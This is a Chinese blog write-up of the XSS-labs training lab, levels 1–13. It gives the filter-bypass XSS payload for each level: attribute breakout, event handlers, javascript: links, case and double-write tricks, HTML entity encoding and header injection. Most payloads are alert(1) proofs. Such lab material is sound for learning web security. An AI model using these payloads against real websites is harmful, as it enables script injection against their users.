XSS-labs(1-13关)

目录

1.无过滤

2. 闭合双引号或标签

3.闭合单引号

4.闭合双引号

5.标签绕过

6.大小写绕过

7.双写绕过

8. HTML实体编码绕过

9.注释关键词绕过

10.覆盖type类型

11. Referer绕过

12.User Agent绕过

13.Cookie绕过


 

1.无过滤

直接过

2. 闭合双引号或标签

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">

htmlspecialchars() :将特殊字符转换为 HTML 实体

在<h2>中不能用标签,会被识别为普通字符

在表单的<input>中提交代码。

" οnclick="alert(1)

"> <script>alert(1)</script>// 

3.闭合单引号

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";

这里使用单引号闭合,且 htmlspecialchars()没有设置ENT_QUOTES属性,单引号不会被转义。

a' οnclick=alert(1)//

通过:

4.闭合双引号

" οnclick="alert(1)

" autofocus οnfοcus="alert(1)

5.<a>标签绕过

对输入转小写,并且禁止<script>标签和on事件

可以使用<a>标签的javascript伪协议,没有on事件

a"> <a href=javascript:alert(1)>aaa</a>

6.大小写绕过

过滤了很多关键字,但是相比第5关,没有转小写。

a"> <Script>alert(1)</Script>

7.双写绕过

过滤了关键字,但是是用替换为空过滤的,所以可以用双写绕过

a" oonnclick="alert(1)

a"> <sscriptcript>alert(1)</scscriptript>>

8. HTML实体编码绕过

过滤了很多关键字,注入点在<a>标签的href属性中,可以对javascript伪协议进行HTML实体编码,在进入浏览器后会自动解码。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)

9.注释关键词绕过

乍一看不能再用javascript伪协议,因为链接里必须包含http://,但是这里只检测输入里是否包含http://,所以把http://放到字符串末尾,并注释即可。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)//http://

10.覆盖type类型

可以看到t_sort是注入参数,但是<input>的type是hidden,隐藏了起来不能直接使用。

如果<input>元素中有两个type属性,浏览器会忽略第二个属性,只使用第一个属性的值

添加type="text"使<input>框显示

?keyword=well%20done!&t_sort=1"%20type="text" οnclick="javascript:alert(1)

11. Referer绕过

HTTP头部绕过

1" type=text οnclick="javascript:alert(1)

12.User Agent绕过

13.Cookie绕过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值